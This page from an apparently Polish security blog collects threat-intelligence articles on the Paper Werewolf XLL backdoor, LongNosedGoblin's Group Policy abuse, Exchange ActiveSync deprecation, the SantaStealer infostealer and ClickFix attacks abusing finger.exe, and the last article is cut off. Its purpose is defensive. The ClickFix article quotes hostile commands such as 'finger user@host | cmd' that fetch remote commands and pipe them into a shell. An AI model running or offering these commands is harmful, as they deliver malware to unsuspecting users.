Archiwa: PowerShell - Strona 20 z 34 - Security Bez Tabu

Tag: PowerShell

Fałszywe zaproszenia na „koncert noworoczny” w kampanii Paper Werewolf (GOFFEE): jak działa backdoor EchoGather i dlaczego XLL to problem

Wprowadzenie do problemu / definicja luki

Spear-phishing nadal wygrywa w atakach ukierunkowanych, bo omija „twarde” zabezpieczenia przez… człowieka. W opisywanej kampanii przynęta była wyjątkowo prozaiczna: fałszywe zaproszenie na koncert noworoczny skierowane do rosyjskojęzycznych odbiorców (m.in. środowisk wojskowych i sektora obronnego). Kluczowe jest jednak nie samo „zaproszenie”, lecz nośnik wykonania kodu: plik Excel XLL.

XLL to w praktyce biblioteka DLL ładowana przez Excela jako dodatek. W przeciwieństwie do makr VBA, XLL działa jako kod natywny ładowany do procesu Excela, co może utrudniać kontrolę politykami „anti-macro” i detekcję opartą o typowe heurystyki makr.

W skrócie

  • Badacze powiązali kampanię z grupą Paper Werewolf (GOFFEE) i nowym backdoorem EchoGather.
  • Wejście obejmowało złośliwy plik XLL (dodatek Excela) oraz alternatywne łańcuchy z WinRAR i plikami LNK/PowerShell.
  • EchoGather zbiera dane o hoście, beaconuje do C2 ukrytego pod ścieżkami wyglądającymi jak serwis dostaw jedzenia i wspiera m.in. zdalne komendy oraz eksfiltrację plików.
  • Intezer wskazuje również element „AI tradecraft”: przynęty PDF wyglądały na generowane AI i zawierały błędy językowe oraz zniekształcony symbol (imitacja godła).
  • Reuters podkreśla szerszy trend: łatwo dostępne narzędzia AI obniżają próg wejścia dla tworzenia wiarygodnych (lub „prawie wiarygodnych”) dokumentów-wabików.

Kontekst / historia / powiązania

GOFFEE (znany też jako Paper Werewolf) to aktor obserwowany co najmniej od 2022 r., ukierunkowany na podmioty w Federacji Rosyjskiej. Kaspersky opisywał jego kampanie z użyciem m.in. złośliwych załączników phishingowych i zmian w narzędziach na przestrzeni lat (np. wcześniejsze komponenty typu Owowa oraz późniejsze schematy dystrybucji).

W 2024 r. (wg Kaspersky) grupa wprowadzała nowe implanty i odchodziła od wcześniejszych komponentów na rzecz innych technik w ekosystemie ataku. Taki „ciągły ruch” w TTP jest typowy dla zespołów, które:

  • mają jeden geograficzny/branżowy fokus,
  • testują nowe metody wejścia (np. inne formaty plików),
  • próbują ominąć zmiany w zabezpieczeniach endpointów i poczty.

Na tym tle XLL jako nośnik wygląda jak logiczny krok: organizacje często zaostrzają polityki makr, ale dodatki DLL-owe wciąż bywają gorzej „obudowane” kontrolami.

Analiza techniczna / szczegóły luki

1) Wejście: XLL jako dodatek Excela

W kampanii opisanej przez Intezer próbki XLL trafiły m.in. do VirusTotal w końcówce października 2025 r.
XLL to DLL ładowany przez Excel, zwykle z eksportami typu xlAutoOpen, ale tu ciekawostka: logika nie była klasycznie „przywiązana” do standardowego xlAutoOpen. Intezer opisuje uruchomienie poprzez zachowanie w DllMain i opóźnienie wykonania do zdarzenia związanego z zakończeniem wątku (DLL_THREAD_DETACH), co może utrudniać detekcję sandboxom i mechanizmom analizującym „early execution”.

2) Loader → dropper → uruchomienie payloadu

Intezer wskazuje, że loader zrzuca plik jako mswp.exe w ścieżce %APPDATA%\Microsoft\Windows, a następnie uruchamia go w trybie ukrytym (CREATE_NO_WINDOW) i przechwytuje stdout/stderr przez pipe’y.

3) EchoGather: co robi backdoor

EchoGather (64-bit) ma twardo zaszytą konfigurację i łączy się z C2 przez HTTP(S) z użyciem WinHTTP. Zbiera m.in. adresy IPv4, nazwę hosta (NetBIOS), użytkownika, domenę stacji, PID i ścieżkę binarki; dane koduje Base64 i wysyła w pętli z losowym opóźnieniem rzędu kilku minut.

C2/„maskowanie ruchem”: w analizowanej próbce adres C2 był zbudowany tak, by ścieżka wyglądała jak elementy serwisu dostaw (np. „dostavka/…/sushi/…/msk/…”). To dokładnie ten typ kamuflażu, który potrafi „zginąć” w proxy logach, jeśli organizacja nie ma dobrego profilowania ruchu wychodzącego.

Komendy: Intezer opisuje cztery kategorie poleceń, w tym:

  • zdalne wykonanie komend (uruchamiane przez cmd.exe /C …),
  • zwrot konfiguracji,
  • eksfiltrację plików porcjowaną w chunki,
  • zdalny zapis pliku na maszynie ofiary.

4) Przynęty (decoy) i wątek „AI-generated”

W infrastrukturze powiązanej z kampanią znaleziono skrypty PowerShell dekodujące dwie „porcje” Base64: PDF-wabik i payload EchoGather. PDF był opisany jako zaproszenie na koncert dla „wysokich rangą” oficerów, ale zawierał znamiona sztucznej generacji: błędy literowe w cyrylicy, literówki oraz nieudolną imitację godła (dwugłowego orła).

Reuters zwraca uwagę, że to dobry przykład, jak dostępne narzędzia AI mogą pomagać w skalowaniu tworzenia dokumentów-wabików (nawet jeśli nadal da się je czasem „wyczuć” po jakości).

5) Alternatywny łańcuch: WinRAR i CVE-2025-8088

Intezer opisuje też pivot na domenę, który doprowadził do archiwum RAR wykorzystującego podatność oznaczoną jako CVE-2025-8088: nadużycie NTFS ADS + path traversal, pozwalające na zapis w nieoczekiwanych lokalizacjach (np. elementy Startup). W łańcuchu pojawiają się m.in. pliki LNK uruchamiające BAT i finalnie PowerShell pobierający skrypt z serwera zewnętrznego, który znów wypakowuje PDF + EchoGather.

Praktyczne konsekwencje / ryzyko

Dla organizacji kluczowe ryzyka są trzy:

  1. Ciche rozpoznanie + wyciek danych: EchoGather jest nastawiony na rekonesans i transfer plików, czyli klasyczny profil cyber-szpiegowski.
  2. Elastyczność operacyjna atakującego: zdalne komendy i zdalny zapis plików to „pomost” do dalszej eskalacji, doinstalowania narzędzi, ruchu bocznego i dłuższej obecności w sieci.
  3. Ryzyko łańcucha dostaw/produkcji (w sektorach obronnych i high-tech): Reuters wskazuje, że cele sugerują zainteresowanie wglądem w produkcję, łańcuch dostaw i R&D.

Nawet jeśli Twoja organizacja nie jest w „docelowej geografii”, ten case jest ważny, bo pokazuje dwa trendy, które łatwo przenoszą się na inne kampanie: XLL jako nośnik i „AI-wabiki”.

Rekomendacje operacyjne / co zrobić teraz

Szybkie działania (24–72h)

  • Zablokuj/ogranicz przyjmowanie XLL w poczcie (gateway) i w systemach wymiany plików; dodaj kontrolę również dla archiwów RAR zawierających LNK/BAT/PS1.
  • Hunt na endpointach:
    • Excel uruchamia nietypowe procesy potomne (np. mswp.exe, cmd.exe, powershell.exe) i to jeszcze z lokalizacji użytkownika/AppData,
    • obecność mswp.exe w %APPDATA%\Microsoft\Windows,
    • ruch wychodzący HTTP(S) do domen/ścieżek wyglądających „dziwnie tematycznie” (np. „dostavka/…/sushi/…”) oraz beaconing co ~5–6 minut.
  • Aktualizacje/patching: jeśli w środowisku jest WinRAR, zweryfikuj wersje i podatności oraz wprowadź zasadę „RAR-y tylko z zaufanych źródeł” (to często realniejszy kontrolny punkt niż próba edukowania o każdej CVE).

Utwardzenie (1–4 tygodnie)

  • ASR/EDR hardening: reguły blokujące procesy potomne Office, uruchamianie skryptów z katalogów użytkownika, oraz egzekwowanie podpisu dla wybranych typów wykonywalnych (tam, gdzie to realne operacyjnie).
  • Allowlisting (AppLocker/WDAC): ogranicz wykonywanie binarek z %APPDATA%, %TEMP% i podobnych lokalizacji użytkownika, jeżeli profil biznesowy na to pozwala.
  • Kontrola dodatków Office: polityki ograniczające ładowanie dodatków/plików wykonywalnych jako add-in oraz „mark-of-the-web”/strefy internetowe w łańcuchu dostarczania (w praktyce: sklejone z politykami przeglądarki, poczty i EDR).
  • Higiena poczty: edukacja i procedury weryfikacji załączników (adres nadawcy, oczekiwany kontekst biznesowy, potwierdzenie kanałem alternatywnym). CERT Polska dobrze opisuje praktyczne zasady obchodzenia się z podejrzanymi załącznikami.

Różnice / porównania z innymi przypadkami

Makra VBA vs XLL: makra to kod skryptowy uruchamiany w ramach silnika makr i coraz częściej blokowany politykami (np. „block macros from the internet”). XLL to natywny DLL ładowany do procesu Excela (LoadLibrary), co daje atakującemu większą swobodę i bywa trudniejsze do objęcia tymi samymi kontrolami co makra.

Ewolucja GOFFEE: Kaspersky opisywał wcześniejsze schematy dystrybucji GOFFEE oparte o phishing i różne implanty. Kampania EchoGather pokazuje „eksperymentowanie” z nowym wektorem (XLL) przy utrzymaniu starej, sprawdzonej logiki: decoy document jako zasłona dymna + uruchomienie payloadu w tle.

Podsumowanie / kluczowe wnioski

  • Ta kampania to nie tylko „phishing z PDF-em”, ale przede wszystkim praktyczny przykład przejścia na XLL jako nośnik uruchomienia kodu w środowiskach, gdzie makra są już mocno utrudnione.
  • EchoGather ma funkcjonalności typowe dla implantów szpiegowskich (rekonesans, komendy, transfer plików) i komunikuje się z C2 w sposób, który może wyglądać „normalnie” w logach bez dobrej telemetrii i profilowania ruchu.
  • Wabiki generowane (lub wspomagane) przez AI będą się pojawiać coraz częściej — nie dlatego, że są idealne, tylko dlatego, że są tanie i szybkie w produkcji.

Jeśli chcesz, mogę też przygotować krótką „sekcję SOC” do wklejenia w runbook: gotowe hipotezy huntingowe, pola do sprawdzenia w EDR/SIEM i listę priorytetowych alertów pod ten łańcuch.

Źródła / bibliografia

  1. Intezer – Tracing a Paper Werewolf campaign through AI-generated decoys and Excel XLLs (Intezer)
  2. The Record (Recorded Future News) – Cyber spies use fake New Year concert invites to target Russian military (The Record from Recorded Future)
  3. Kaspersky Securelist – GOFFEE’s recent attacks: new tools and techniques (Securelist)
  4. Reuters – Russian defense firms targeted by hackers using AI, other tactics (Reuters)
  5. CERT Polska – Uważaj na fałszywe załączniki! (cert.pl)

Nowa grupa hakerska powiązana z Chinami szpiegowała rządy w Azji Południowo-Wschodniej i Japonii

Wprowadzenie do problemu / definicja luki

Badacze ESET ujawnili nową, wcześniej nieudokumentowaną grupę APT powiązaną z Chinami, którą nazwali LongNosedGoblin. Zespół ten ma prowadzić ukierunkowane operacje cyberszpiegowskie wobec instytucji rządowych w krajach Azji Południowo-Wschodniej oraz w Japonii. Charakterystyczną techniką napastników jest nadużywanie Zasad grupy (Windows Group Policy) do rozsyłania i utrzymywania narzędzi szpiegowskich w zainfekowanych domenach. Informację potwierdziły branżowe media, w tym Recorded Future News (The Record).

W skrócie

  • Ofiary: instytucje rządowe w regionie ASEAN oraz w Japonii.
  • Atrybucja: grupa APT LongNosedGoblin, powiązana z ekosystemem cyberoperacji ChRL.
  • Kluczowa technika: dystrybucja złośliwych komponentów przez Group Policy (GPO) w domenie Windows.
  • Aktywność: co najmniej od 2023 r.; aktywna kampania potwierdzona w grudniu 2025 r.

Kontekst / historia / powiązania

Cyberszpiegostwo sponsorowane przez państwo chińskie od lat koncentruje się na administracji publicznej i sektorach strategicznych w Azji. W 2025 r. odnotowano szereg operacji PRC-nexus wymierzonych w administrację i dyplomację regionu, co potwierdzają m.in. bieżące raporty i przeglądy trendów (Mandiant/Google Cloud oraz publikacje branżowe). Na tym tle pojawienie się LongNosedGoblin wpisuje się w szerszy wzorzec stałej presji wywiadowczej.

Analiza techniczna / szczegóły kampanii

Wejście i rozprzestrzenianie: według ESET, po uzyskaniu wstępnego dostępu napastnicy wykorzystują mechanizmy Group Policy do zautomatyzowanego wdrażania ładunków w całej domenie. Taki model umożliwia trwałą i „cichą” dystrybucję komponentów, zgodną z legalnym przepływem administracyjnym w środowiskach Windows.

Komunikacja i utrzymanie dostępu: doniesienia branżowe wskazują, że w niektórych przypadkach wykorzystywana jest infrastruktura chmurowa i techniki utrzymywania C2 typowe dla operacji APT z regionu Chin, co utrudnia blokowanie i atrybucję. (Wniosek syntetyzowany na podstawie materiałów o kampanii i szerszych przeglądów PRC-nexus w 2025 r.).

Celowanie: priorytetowo traktowane są resorty rządowe (ministerstwa, urzędy centralne) w wybranych państwach Azji Południowo-Wschodniej oraz w Japonii, co sugeruje cele czysto wywiadowcze (kradzież dokumentów, planów, notatek dyplomatycznych).

Mapowanie do MITRE ATT&CK (wybrane techniki):

  • T1484.001 – Domain Policy Modification (GPO) – modyfikacja/wykorzystanie zasad domenowych do egzekucji payloadów.
  • T1059 / T1053 – Command & Scripting Interpreter / Scheduled Task – egzekucja i utrzymanie harmonogramu na hostach (typowy wzorzec przy GPO). (Wniosek na bazie opisu nadużycia GPO).

Praktyczne konsekwencje / ryzyko

  • Szybka, domenowa propagacja: nadużycie GPO pozwala w krótkim czasie objąć zasięgiem całą organizację – bez wzbudzania podejrzeń użytkowników.
  • Trudna detekcja: działania są wykonywane w ramach „normalnych” mechanizmów AD, co utrudnia wykrywanie sygnaturowe i sprzyja długotrwałej obecności napastnika.
  • Ryzyko wycieku wrażliwych danych (korespondencja dyplomatyczna, dokumenty rządowe), co może mieć skutki geopolityczne i negocjacyjne.

Rekomendacje operacyjne / co zrobić teraz

  1. Włącz i egzekwuj auditing GPO/AD: szczegółowy monitoring zmian w Group Policy Objects (kto/ kiedy/ co) + alertowanie na tworzenie/edycję skryptów logon/logoff, startup/shutdown.
  2. Zasada najmniejszych uprawnień dla GPO: ogranicz administracyjne uprawnienia do tworzenia/edycji GPO, segmentuj role, stosuj „just-in-time” i „just-enough admin”.
  3. Telemetria hostowa i Sysmon: rejestrowanie procesów wyzwalanych przez GPO (np. powershell.exe, cmd.exe, mshta.exe), korelacja z czasem aktualizacji zasad. (Good practice wynikająca z opisanego TTP).
  4. Kontrola wykonywania skryptów: AppLocker / WDAC dla skryptów i binariów LoLBin, polityki ASR blokujące uruchamianie podejrzanych interpreterów przez GPO. (Wniosek operacyjny na bazie techniki).
  5. Hunting w AD: przegląd niedawno zmienionych GPO i powiązanych sysvol (szczególnie skrypty, pliki MSI/EXE/DLL), analiza nietypowych uprawnień na obiektach.
  6. Zewnętrzny traffic & C2: inspekcja ruchu do usług chmurowych i nietypowych domen jako potencjalnego C2, z uwzględnieniem wzorców PRC-nexus opisywanych w 2025 r.
  7. Playbook IR pod GPO-abuse: przygotuj procedury szybkiego „roll-backu” złośliwych zasad, izolacji kontrolerów domeny oraz rotacji poświadczeń.

Różnice / porównania z innymi przypadkami

Nadużywanie Group Policy było dotąd rzadziej opisywanym wektorem masowej dystrybucji w ramach operacji APT – częściej widzieliśmy techniki takie jak side-loading czy złośliwe aktualizacje oprogramowania. LongNosedGoblin wyróżnia się systemowym wykorzystaniem GPO jako kanału wdrożeniowego, co upodabnia atak do wewnętrznej operacji administracyjnej i znacząco utrudnia detekcję oraz triage.

Podsumowanie / kluczowe wnioski

  • LongNosedGoblin to świeżo udokumentowana, China-aligned APT, która celuje w rządy regionu ASEAN i Japonię.
  • Jej znakiem rozpoznawczym jest nadużywanie Windows Group Policy do dystrybucji narzędzi szpiegowskich w domenie.
  • Obrona wymaga precyzyjnego monitoringu i kontroli zmian GPO, łączenia telemetrii AD/host/C2 oraz gotowych playbooków IR.

Źródła / bibliografia

  • ESET WeLiveSecurity: „LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Japan” (19 grudnia 2025). (welivesecurity.com)
  • Help Net Security: „Group Policy abuse reveals China-aligned espionage group targeting governments” (18–19 grudnia 2025). (Help Net Security)
  • The Record (Recorded Future News): „New China-linked hacker group spies on governments in Southeast Asia, Japan” (18–19 grudnia 2025). (The Record from Recorded Future)
  • The Hacker News: „China-Aligned Threat Group Uses Windows Group Policy to Deploy Espionage Malware” (19 grudnia 2025). (The Hacker News)
  • Google Cloud Threat Intelligence (kontekst PRC-nexus 2025): „PRC-Nexus Espionage Campaign … targets diplomats” (25 sierpnia 2025). (Google Cloud)

Microsoft zablokuje dostęp do Exchange Online dla przestarzałych klientów mobilnych EAS

Wprowadzenie do problemu / definicja luki

Microsoft zapowiedział, że od 1 marca 2026 r. Exchange Online przestanie akceptować połączenia z urządzeń mobilnych korzystających z Exchange ActiveSync (EAS) w wersji poniżej 16.1. Zmiana dotyczy wyłącznie natywnych aplikacji pocztowych łączących się z chmurą Microsoft 365 przez EAS i nie obejmuje środowisk on-premises Exchange Server ani Outlook Mobile (który nie używa protokołu EAS).

W skrócie

  • Deadline: 1 marca 2026 r. – starsze niż EAS 16.1 tracą dostęp do Exchange Online.
  • Kogo dotyczy: natywne aplikacje pocztowe w iOS/Android używające EAS (np. Gmail/Samsung Mail – wymagają aktualizacji). Outlook Mobile – bez zmian.
  • Powód: standaryzacja na nowszym protokole i redukcja ryzyka/niezgodności.
  • Wsparcie iOS: Mail w iOS wspiera EAS 16.1 od iOS 10.

Kontekst / historia / powiązania

W ostatnich latach Microsoft czyścił starsze mechanizmy dostępu do Exchange Online, m.in. wyłączając Basic Authentication dla EAS/POP/IMAP/EWS itp. (2022–2024). Dzisiejszy ruch to kolejny etap porządkowania starszych klientów i wymuszenia nowszych możliwości protokołu.

Analiza techniczna / szczegóły zmiany

  • Wymagany poziom protokołu: EAS 16.1 (udostępniony w czerwcu 2016 r.).
  • Kluczowe możliwości EAS 16.1 (względem 14.x/16.0), istotne z punktu widzenia bezpieczeństwa i UX:
    • Account-only remote wipe – zdalne usunięcie wyłącznie danych skrzynki, bez „factory reset” całego urządzenia.
    • Ulepszony search (KQL/Find) i Propose New Time w kalendarzu.
  • Zasięg: tylko Exchange Online; Exchange Server on-prem – bez zmian. Outlook Mobile – nie dotyczy, bo nie używa EAS.
  • Kompatybilność aplikacji:
    • Apple Mail (iOS): wspiera 16.1 od iOS 10.
    • Gmail/Samsung Mail (Android): producenci pracują nad aktualizacjami do 16.1; kluczowe będzie utrzymywanie aplikacji w najnowszej wersji.

Praktyczne konsekwencje / ryzyko

  • Ryzyko ciągłości działania: nieaktualne klienty EAS przestaną synchronizować pocztę/kalendarz/kontakty z Exchange Online po 01.03.2026.
  • Shadow IT i rozproszone floty: starsze, niezarządzane urządzenia (BYOD) z natywną pocztą mogą nagle wypaść z obiegu – wzrost zgłoszeń do servicedesk. (Wniosek na podstawie ogłoszenia i praktyk wdrożeniowych.)
  • Zgodność i bezpieczeństwo: wymuszenie 16.1 ułatwia egzekwowanie nowocześniejszych polityk MDM i minimalizuje skutki potencjalnego remote wipe dla użytkowników (account-only wipe).

Rekomendacje operacyjne / co zrobić teraz

  1. Inwentaryzacja klientów EAS < 16.1 – wykorzystaj komendę PowerShell z bloga Exchange Team, by wygenerować raport urządzeń i wersji klienta:Get-MobileDevice -ResultSize Unlimited | Where-Object { ($_.ClientType -eq 'EAS' -or $_.ClientType -match 'ActiveSync') -and $_.ClientVersion -and ([version]$_.ClientVersion -lt [version]'16.1') } | Sort-Object UserDisplayName | Select-Object UserDisplayName, Identity, DeviceId, DeviceModel, ClientVersion Źródło komendy i kontekst: Exchange Team Blog.
  2. Plan aktualizacji aplikacji pocztowych – upewnij się, że Gmail/Samsung Mail są aktualne; tam gdzie to możliwe, rozważ migrację do Outlook Mobile (brak zależności od EAS).
  3. Wymuś zgodność przez MDM/Intune – reguły Conditional Access, Device Compliance i App Protection Policies dla natywnych klientów; blokuj połączenia niespełniające wymagań wersji. (Dobra praktyka spójna z kierunkiem zmian Microsoft.)
  4. Komunikacja do użytkowników – poinformuj posiadaczy starszych urządzeń o wymaganiach (EAS ≥ 16.1 / aktualizacja lub Outlook Mobile) z wyprzedzeniem min. 3–6 miesięcy. (Rekomendacja redakcyjna na podstawie ogłoszeń Microsoft.)
  5. Testy pilotażowe – na wydzielonej grupie BYOD sprawdź, czy po aktualizacjach zachowana jest pełna funkcjonalność (mail, kalendarz, wipe account-only).

Różnice / porównania z innymi przypadkami

  • Basic Auth vs. EAS 16.1: wyłączenie Basic Auth eliminowało stary mechanizm uwierzytelniania; obecna zmiana standardyzuje wersję protokołu dla natywnych klientów. Obie decyzje służą redukcji powierzchni ataku i ujednoliceniu wsparcia.
  • Outlook Mobile vs. klienci EAS: Outlook Mobile korzysta z innej architektury (bez EAS), co czyni go niewrażliwym na tę zmianę i często łatwiejszym w egzekwowaniu polityk bezpieczeństwa.

Podsumowanie / kluczowe wnioski

  • Twardy termin: 1.03.2026 – EAS < 16.1 traci dostęp do Exchange Online.
  • Działaj teraz: zrób inwentaryzację, zaplanuj aktualizacje lub migrację do Outlook Mobile, przygotuj polityki MDM i komunikację.
  • Korzyści: spójniejsze bezpieczeństwo (m.in. account-only wipe), mniej problemów kompatybilności i lepsza kontrola nad flotą urządzeń.

Źródła / bibliografia

  1. Exchange Team Blog – „Exchange Online ActiveSync Device Support Update”, 15–16 grudnia 2025 (akt.). (TECHCOMMUNITY.MICROSOFT.COM)
  2. BleepingComputer – „Microsoft to block Exchange Online access for outdated mobile devices”, 16 grudnia 2025. (BleepingComputer)
  3. Office 365 for IT Pros – „Old Versions of Exchange ActiveSync Get the Bullet”, 16 grudnia 2025. (Office 365 for IT Pros)
  4. Microsoft Learn – „Deprecation of Basic authentication in Exchange Online” (kontekst uwierzytelniania), 25 czerwca 2024. (Microsoft Learn)
  5. Practical365 – „Performing account-only remote wipes…”, 29 listopada 2016 (opis funkcji EAS 16.1). (Practical 365)

SantaStealer: nowy infostealer (MaaS), który kradnie dane z przeglądarek i portfeli krypto

Wprowadzenie do problemu / definicja luki

SantaStealer to nowy information stealer oferowany w modelu Malware-as-a-Service (MaaS), reklamowany na Telegramie i rosyjskojęzycznych forach cyberprzestępczych. Według pierwszych analiz, celem jest kradzież haseł, cookies, historii i kart płatniczych z przeglądarek, danych komunikatorów (Telegram, Discord), kont gamingowych (Steam), portfeli kryptowalut i dokumentów. Operatorzy przedstawiają go jako narzędzie działające w pamięci (fileless) i trudne do wykrycia, choć obecne próbki na to nie wskazują.

W skrócie

  • Model biznesowy: subskrypcja „Basic” $175/mies. i „Premium” $300/mies.; panel afiliacyjny z konfiguracją buildu.
  • Pochodzenie / branding: rebranding z BluelineStealer; kanały dystrybucji i marketingu na Telegramie i forum Lolz.
  • Modułowość: 14 wątków-modułów zbierających różne kategorie danych; zrzut do ZIP-a i wysyłka w kawałkach po 10 MB na C2 po HTTP (port 6767).
  • Obejście App-Bound Encryption (ABE): do odszyfrowania haseł/kart w Chromium wykorzystuje dołączony „ChromeElevator” (post-exploitation), bazujący na publicznym projekcie badawczym.
  • Anty-analiza: w obecnych próbkach prymitywna; twierdzenia o pełnej niewykrywalności przesadzone.
  • Status (16 grudnia 2025, Europa/Warszawa): Rapid7 odnotował komunikat na oficjalnym kanale o wydaniu stealer’a — można spodziewać się kampanii „in the wild”.

Kontekst / historia / powiązania

Rapid7 wskazuje, że SantaStealer to świeżo rebrandowany projekt BluelineStealer, który intensywnie promowano w grudniu 2025 r. w kanałach Telegram i na Lolz. Składnia panelu, domena z TLD .su oraz opcja nieatakowania państw CIS sugerują rosyjską przynależność operatorów (wzorzec typowy dla ekosystemu infostealerów).

Analiza techniczna / szczegóły luki

Architektura i uruchomienie. Zidentyfikowane próbki (EXE/DLL x64) mają bogaty zestaw eksportowanych symboli i niezaszyfrowane ciągi znaków, co ułatwiło inżynierię wsteczną. W konfiguracji wbudowanej w plik znajdują się m.in. parametry anti_cis, exec_delay_seconds i „watermark” z odnośnikiem do Telegrama.

Moduły zbierające dane (14 wątków). Każdy moduł działa w osobnym wątku i zapisuje artefakty w pamięci; po ~45 s zebrane pliki są pakowane do Log.zip w katalogu TEMP. Zbierane kategorie obejmują m.in.:

  • przeglądarki (hasła, cookies, karty, historia),
  • Telegram, Discord, Steam,
  • rozszerzenia przeglądarek i portfele krypto,
  • dokumenty i screenshoty.

Exfiltracja. ZIP dzielony jest na 10-megabajtowe części i wysyłany na sztywno zakodowany adres C2 po HTTP (endpoint /upload, port 6767) z nagłówkami auth (ID buildu) i w (tag kampanii). Brak szyfrowania transmisji.

Obejście ABE w Chromium. Aby ominąć App-Bound Encryption (wprowadzone w 2024 r.), SantaStealer uruchamia dołączony „ChromeElevator” — osobny EXE, który odszyfrowuje i ładuje w pamięci DLL; następnie przeprowadza reflective hollowing i działa w kontekście procesu przeglądarki, co pozwala wyciągać klucze ABE i odszyfrowywać hasła/karty. Rapid7 wskazuje, że komponent ten jest „silnie oparty” na publicznym repozytorium badawczym ChromElevator.

Anty-VM / anty-analiza. Sprawdzenia obejmują m.in. listy procesów, czas pracy systemu, usługę VBoxGuest, ścieżki typu C:\analysis\... i proste kontrole debuggera; w razie wykrycia — zakończenie pracy. Obecne techniki oceniono jako elementarne.

Praktyczne konsekwencje / ryzyko

  • Ryzyko masowych wycieków danych dostępowych i sesyjnych z Chromium (obejście ABE) — szybkie przejęcia kont SSO, SaaS, poczty i bankowości.
  • Kradzież środków z portfeli krypto oraz nadużycia w grach/marketplace’ach (Steam).
  • Szybkie TTV (time-to-value) dla afiliantów dzięki gotowemu panelowi, builderowi i tagowaniu kampanii, co ułatwia skalowanie operacji.
  • Fałszywe poczucie stealth — mimo marketingu „fileless/UD”, obecne próbki są wykrywalne; jednak spodziewana ewolucja może utrudnić detekcję (szyfrowanie configu, obfuskacja).

Rekomendacje operacyjne / co zrobić teraz

Prewencja

  1. Blokada wektorów wejścia: egzekwuj politykę no-install/no-admin, blokuj uruchamianie z %Temp% i katalogów użytkownika; w przeglądarkach wyłącz instalację niezatwierdzonych rozszerzeń.
  2. Hardening przeglądarek: wdrażaj profile MDM/ADMX (Chromium/Edge), wyłącz eksport haseł, wymuś hardware-bound encryption i izolację profili.
  3. Filtry treści i kampanii „ClickFix”: blokuj paste-bin/skracacze, domeny malvertising; szkol użytkowników przeciw „wklej to w PowerShell”.

Detekcja

  1. Sieć: reguły na HTTP do nieszyfrowanych IP:6767 oraz ruch multipart z nagłówkami User-Agent: upload, auth, w; alertuj na dzielenie plików po 10 MB.
  2. Host:
    • monitoruj tworzenie Log.zip w %TEMP% i nietypowe procesy potomne przeglądarek;
    • wykrywaj reflective hollowing/dołączanie DLL do procesów Chrome/Edge/Brave;
    • poluj na artefakt „CIS” oraz wywołania GetKeyboardLayoutList tuż przed zakończeniem procesu (heurystyka anti-CIS).
  3. IoC/IoA: wykorzystaj opublikowane przez Rapid7 skróty SHA-256 (próbki DLL/EXE) i wzorce zachowań do proaktywnych polowań.

Reagowanie

  1. Izolacja i triage: po wykryciu — izoluj host, zrzut pamięci procesu przeglądarki (na potrzeby artefaktów ChromeElevator).
  2. Reset sekretów: reset haseł i unieważnienie cookies/sesji (SaaS, e-mail, komunikatory); rotacja tokenów API.
  3. Higiena przeglądarek: usuń zainfekowane profile, wymuś ponowną rejestrację WebAuthn/2FA, włącz re-challenge po zmianie urządzenia.
  4. Threat intel: subskrybuj feedy (np. z platformy Rapid7) i aktualizuj reguły XDR/EDR pod kątem nowych wariantów.

Różnice / porównania z innymi przypadkami

  • Lumma/Vidar/RedLine: podobny cel (kradzież przeglądarek/portfeli), ale SantaStealer wyróżnia nacisk na obejście ABE w Chromium poprzez wbudowany komponent typu ChromeElevator. Starsze stealer’y często opierały się na DPAPI/cookie-graberach — ABE znacząco utrudniło im życie; SantaStealer nadrabia to techniką in-memory w kontekście przeglądarki.
  • Poziom „stealth”: marketing SantaStealer deklaruje „UD/polymorphic C engine”, ale analiza wskazuje na ubogie anty-analizy w obecnych próbkach — przewaga jest raczej funkcjonalna (moduły + ABE bypass) niż w ukryciu.

Podsumowanie / kluczowe wnioski

SantaStealer to świeży, modułowy infostealer MaaS celujący w przeglądarki i portfele krypto, z dojrzałym pipeline’em kradzieży i obejściem ABE. Na dziś przewaga napastników to funkcjonalność i użyteczność panelu, nie „niewykrywalność”. Ponieważ 16 grudnia 2025 r. pojawił się komunikat o wydaniu narzędzia, należy oczekiwać szybkich kampanii i iteracji technik ukrywania — warto już teraz wdrożyć reguły detekcyjne (C2:6767/HTTP + multipart 10 MB), wzmocnić przeglądarki i egzekwować polityki rozszerzeń.

Źródła / bibliografia

  1. BleepingComputer: „New SantaStealer malware steals data from browsers, crypto wallets” (15 grudnia 2025). (bleepingcomputer.com)
  2. Rapid7: „SantaStealer is Coming to Town: A New, Ambitious Infostealer…” (15–16 grudnia 2025, aktualizacja o wydaniu). (Rapid7)
  3. GitHub (xaitax): „Chrome App-Bound Encryption Decryption” — projekt badawczy, na którym bazuje komponent do obejścia ABE. (GitHub)

ClickFix nadal „daje palcem”: ataki z użyciem protokołu Finger (TCP/79) wciąż aktywne

Wprowadzenie do problemu / definicja luki

Fala kampanii ClickFix – socjotechnicznych ataków nakłaniających użytkownika do skopiowania i uruchomienia „naprawczej” komendy w systemie – nie wygasa. Najnowsze obserwacje SANS ISC potwierdzają, że napastnicy nadal nadużywają archaicznego protokołu Finger (TCP/79), uruchamiając na Windows wbudowane finger.exe do pobrania i wykonania zdalnych poleceń lub skryptów. W świeżym dzienniku Brad Duncan pokazuje, że co najmniej dwie aktywne kampanie – KongTuke i SmartApeSG – w grudniu 2025 r. wciąż serwują w fałszywych CAPTCHA komendy wywołujące finger.exe po to, by dostarczyć dalsze payloady (PowerShell/EXE) i kontynuować infekcję.

W skrócie

  • Vektor: fałszywe strony CAPTCHA/„naprawy” (ClickFix) podsuwają komendę do uruchomienia w Win+R / CMD. Komenda uruchamia finger user@host | cmd lub pobiera treść, którą następnie interpretuje cmd/PowerShell.
  • Transport: Finger działa wyłącznie po TCP/79; finger.exe nie obsługuje proxy – to ważny warunek skuteczności/neutralizacji w sieciach korporacyjnych.
  • Kampanie: m.in. KongTuke (np. finger gcaptcha@captchaver[.]top) i SmartApeSG (zapytania finger do hostów/IP z fałszywych CAPTCHA).
  • Ładunki: PowerShell Base64, pobieranie plików (np. archiwa podszyte pod PDF), NetSupport Manager RAT, infostealery; techniki antyanalizy (sprawdzanie narzędzi).
  • Mitigacje szybkie: blokuj wyjście TCP/79, egzekwuj proxy explicit, rozważ AppLocker/SRP/WDAC blokujące finger.exe, reguły EDR/Sigma na nietypowe uruchomienia finger.exe.

Kontekst / historia / powiązania

